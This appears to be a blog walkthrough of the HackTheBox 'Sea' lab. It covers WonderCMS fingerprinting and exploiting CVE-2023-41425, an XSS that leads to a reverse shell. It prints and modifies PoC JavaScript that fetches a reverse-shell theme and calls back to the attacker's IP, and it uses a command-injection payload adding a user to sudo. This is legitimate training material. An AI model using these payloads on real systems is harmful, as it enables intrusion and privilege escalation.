HackTheBox | Sea

In this walkthrough, I demonstrate how I obtained complete ownership of Sea on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Sea from Hack The Box!
I have just owned machine Sea from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Wed Aug 14 14:51:12 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.192.248
Nmap scan report for 10.129.192.248
Host is up (0.091s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sea - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 14 14:51:51 2024 -- 1 IP address (1 host up) scanned in 38.24 seconds
ℹ️
No particular breadcrumbs in the nmap output that would reveal any hostnames or anything special about the app other than the web server in use.

I'm going to go ahead and add an /etc/hosts entry for convenience.
echo -e '10.129.192.248\t\tsea.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Walking the “happy path” · Pwning OWASP Juice Shop
Clicking on "HOW TO PARTICIPATE", we see the contact hyperlink that redirects to /contact.php
Again, we're not doing anything malicious yet with the site, just filling out as a normal user would

Upon submitting the form, we get a confirmation that the form was successfully submitted. That concludes walking the application, as there's nowhere else for us to interact with any links or inputs.



Penetration Testing

ℹ️
The first thing I checked for was /robots.txt and /sitemap.xml file, neither of which appear to exist on this site.
The <!-- Admin CSS --> comment in the source code is intriguing

Looking through my Burp request history from walking the application, this seems to suggest there may be some admin features for the site elsewhere.

Here is the HTTP POST request to /contact.php

We can see the form inputs are just a basic application/x-www-form-urlencoded data submission.

Use Burp Repeater to change the payload to my VPN IP and see if I catch a request
Using an Ad-Hoc Python... | 0xBEN | Notes
nano serv.py import http.server class CustomRequestHandler(http.server.SimpleHTTPRequestHandle…
Indeed, we do receive a request from the target server

We can gain a good deal of valuable information about the web client being used to make the request.

💡
I'm almost certain this will end up being some kind of "social engineering" challenge, since this is likely intended to simulate a user clicking a link



Enumerating the Server Software

I tried a few different searches on Google and GitHub for keywords seen here in the source
Searching on GitHub, I got a hit on one of the file names. We can pretty safely assume this is WonderCMS running on the page.
GitHub - WonderCMS/wondercms: Fast and small flat file CMS (5 files). Built with PHP, JSON database.
Fast and small flat file CMS (5 files). Built with PHP, JSON database. - WonderCMS/wondercms

This is the GitHub repository containing the source code for WonderCMS

💡
At this point, I need to think how I can combine the information I currently possess to try and find the version of WonderCMS running on the server
If we look at the default "sky" theme for WonderCMS, we can see there's a version number disclosed in the themes/sky/wcms-modules.json file
We have our version on the target too ... 3.2.0
Doing some research, I found that the login path is at http://domain.tld/loginURL, so http://sea.htb/loginURL in this case



Searching for CVEs

Wondercms Wondercms : Security vulnerabilities, CVEs
Security vulnerabilities of Wondercms Wondercms : List of vulnerabilities affecting any version of this product

CVEs ordered by publish date, a lot of the recent ones for Wonder CMS v.3.2.0 thru v.3.4.2 require manipulation of site content via the admin panel

CVE-2023-41425 : Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code
CVE-2023-41425 : Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component.

This one -- on the other hand -- has a lot of promise, because it has a POC published for it, and the exploit itself is pretty trivial as it just involves tricking the admin into clicking our link and uploading a new module to the site via XSS

CVE-2023-41425 works out great, because we know there is already a social engineering component at play here. So, we just send the malicious link via the form and get a shell.





Exploit

XSS to RCE

Source Code Review

CVE-2023-41425 (WonderCMS Remote Code Execution) - PoC
CVE-2023-41425 (WonderCMS Remote Code Execution) - PoC - CVE-2023-41425.md

CVE-2023-41425 Source Code

e(0, -1);
    13  }
    14  var urlWithoutLog = url.split("/").slice(0, -1).join("/");
    15  var urlWithoutLogBase = new URL(urlWithoutLog).pathname; 
    16  var token = document.querySelectorAll('[name="token"]')[0].value;
    17  var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
    18  var xhr3 = new XMLHttpRequest();
    19  xhr3.withCredentials = true;
    20  xhr3.open("GET", urlRev);
    21  xhr3.send();
    22  xhr3.onload = function() {
    23   if (xhr3.status == 200) {
    24     var xhr4 = new XMLHttpRequest();
    25     xhr4.withCredentials = true;
    26     xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
    27     xhr4.send();
    28     xhr4.onload = function() {
    29       if (xhr4.status == 200) {
    30         var ip = "'''+str(sys.argv[2])+'''";
    31         var port = "'''+str(sys.argv[3])+'''";
    32         var xhr5 = new XMLHttpRequest();
    33         xhr5.withCredentials = true;
    34         xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
    35         xhr5.send();
    36         
    37       }
    38     };
    39   }
    40  };
    41  '''
    42    try:
    43      open("xss.js","w").write(data)
    44      print("[+] xss.js is created")
    45      print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    46      print("----------------------------\n")
    47      XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    48      XSSlink = XSSlink.strip(" ")
    49      print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    50      print("----------------------------\n")
    51
    52      print("\nstarting HTTP server to allow the access to xss.js")
    53      os.system("python3 -m http.server\n")
    54    except: print(data,"\n","//write this to a file")

Let's do some source code review to better understand the exploit:

  • Line 7: usage: python3 exploit.py loginURL IP_Address Port
    • We pass the CMS login url and a reverse shell IP and port
  • Line 10 — Line 40
    • This is JavaScript code sandwiched between a here-string block
    • The JavaScript code will be written to your attack box in xss.js
    • The code uses XMLHttpRequest class to cause the client to fetch a malicious main.zip file from GitHub and install it (line 17)
    • The client then opens the rev.php from the now-installed, malicious theme file on the target server, along with our reverse shell listener and TCP port (line 34)
  • Line 43
    • The script writes the payload to xss.js and gives you the URL to send to the site admin



Source Code Modifications

curl -s -L https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip -o main.zip
Download the theme file locally for hosting over HTTP
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;

Lines 10 -- 15 - Before

var url = new URL("'''+str(sys.argv[1])+'''");
if (url.href.endsWith("/")) {
    url = new URL(url.href.slice(0, -1));
}
var urlWithoutLogBase = url.origin.toString();

Lines 10 -- 14 - After

💡
Removes line 15, this is an improvement to the original URL parsing which splits on / and causes a malformed URL in the urlWithoutLogBase in certain conditions
installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip

Line 16 - Before

installModule=http://YOUR_HTB_VPN_IP/main.zip

Line 16 - After (be sure to use http://)

💡
We do this, because the target client is not going to have access to Internet access, being a lab on HackTheBox
http://"+str(sys.argv[2])+":8000/xss.js

Line 46 - Before

http://"+str(sys.argv[2])+"/xss.js

Line 46 - After

💡
I'm doing this, because I plan on running my Python HTTP server on tcp/80
#    print("\nstarting HTTP server to allow the access to xss.js")
#    os.system("python3 -m http.server\n")

Comment out Lines 52 and 53, as I'll run my HTTP server manually



Run the Exploit

sudo rlwrap nc -lnvp 443

Start a TCP listener to catch the reverse shell

sudo python3 -m http.server -b 10.10.14.9 80

Start a Python HTTP server and listen on your VPN IP

python3 cve-2023-41425.py http://sea.htb/loginURL 10.10.14.9 443

Generate the XSS paylaod

Paste the payload exactly as it appears into the "Website" textbox on the contact page





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on sea.



Users and Groups

Local Users

amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash

Local Groups

www-data:x:33:geo
amay:x:1000:
geo:x:1001:   



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:3a:39 brd ff:ff:ff:ff:ff:ff
    inet 10.129.180.232/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3484sec preferred_lft 3484sec    

Open Ports

tcp        0      0 127.0.0.1:56903         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -



Interesting Files

/var/www/sea/data/database.js

{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        "lastLogins": {
            "2024\/08\/15 22:13:38": "127.0.0.1",
            "2024\/08\/15 22:12:08": "127.0.0.1",
            "2024\/08\/15 22:10:58": "127.0.0.1",
            "2024\/08\/15 22:08:48": "127.0.0.1",
            "2024\/08\/15 22:06:37": "127.0.0.1"
        },
        "lastModulesSync": "2024\/08\/15",
        "customModules": {
            "themes": {},
            "plugins": {}
        },
        "menuItems": {
            "0": {
                "name": "Home",
                "slug": "home",
                "visibility": "show",
                "subpages": {}
            },
            "1": {
                "name": "How to participate",
                "slug": "how-to-participate",
                "visibility": "show",
                "subpages": {}
            }
        },
        "logoutToLoginScreen": {}
    },
    "pages": {
        "404": {
            "title": "404",
            "keywords": "404",
            "description": "404",
            "content": "<center><h1>404 - Page not found<\/h1><\/center>",
            "subpages": {}
        },
        "home": {
            "title": "Home",
            "keywords": "Enter, page, keywords, for, search, engines",
            "description": "A page description is also good for search engines.",
            "content": "<h1>Welcome to Sea<\/h1>\n\n<p>Hello! Join us for an exciting night biking adventure! We are a new company that organizes bike competitions during the night and we offer prizes for the first three places! The most important thing is to have fun, join us now!<\/p>",
            "subpages": {}
        },
        "how-to-participate": {
            "title": "How to",
            "keywords": "Enter, keywords, for, this page",
            "description": "A page description is also good for search engines.",
            "content": "<h1>How can I participate?<\/h1>\n<p>To participate, you only need to send your data as a participant through <a href=\"http:\/\/sea.htb\/contact.php\">contact<\/a>. Simply enter your name, email, age and country. In addition, you can optionally add your website related to your passion for night racing.<\/p>",
            "subpages": {}
        }
    },
    "blocks": {
        "subside": {
            "content": "<h2>About<\/h2>\n\n<br>\n<p>We are a company dedicated to organizing races on an international level. Our main focus is to ensure that our competitors enjoy an exciting night out on the bike while participating in our events.<\/p>"
        },
        "footer": {
            "content": "©2024 Sea"
        }
    }
}    





Privilege Escalation

Crack the Database Hash

Since the hash came from a JSON file, we need to remove the \ characters that were used to escape the / characters in JSON



Lateral to amay

Users found during enumeration, let's test the database password with hydra
Password for the website is re-used as the local user password
ssh amay@sea.htb

Log in as amay via ssh



SSH Port Forwarding

ℹ️
I'm not seeing much while enumerating as amay, but I did see some interesting ports that are open on the box internally. Now that we have a SSH login, it's trivial to forward those ports and explore more.
SSH Port Forwarding | 0xBEN | Notes
Security Considerations Reverse Tunneling This will require you to establish a SSH connection fr…
ssh -f -N -L 127.0.0.1:56903:127.0.0.1:56903 -L 127.0.0.1:8081:127.0.0.1:8080 amay@sea.htb

8080 is already open on my box by Burp, so use 8081



TCP/56903

It does appear to be a HTTP server of some kind, because I do get some HTTP headers back from whatever is running there.

Not really seeing much more to explore here.



TCP/8080

💡
Remember that I'm using tcp/8081 locally to hit tcp/8080 on the target, because Burp is already occupying tcp/8080 on my end
Seems like whatever's on the other end requires some kind of authentication
Indeed, the server's using HTTP basic authentication
Again, the password is repeated on the internal service
This is the most interesting part of the application, because it's the only function that takes input of any kind
💡
We can pretty safely assume that the web app is just doing something like exec("cat " . $_POST['log_file']); in a PHP script or something similar, so if we tamper with the input in log_file and inject a shell command, we can likely cause something like: cat /var/log/auth.log; ping -c 3 10.10.14.9 or cat /var/log/auth.log$(ping -c 3 10.10.14.9)
Original request in Burp Repeater
Request with command injection
And, ping test succeeded!
Another example of command injection via sub-shell, where the output of the command is piped to nc and sent back to our shell, so we can see the output
So, the web server is currently being run by root



Becoming Root

log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log;$(usermod+-G+sudo+amay)&analyze_log=

Final payload: Add user, amay to the sudo group

Log out and log back in, note we are in the sudo group now



Flags

User

3031a92c8cbd3ecc050793840b7442bc    

Root

6aceb82f362deb3862470157b7dc2614    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.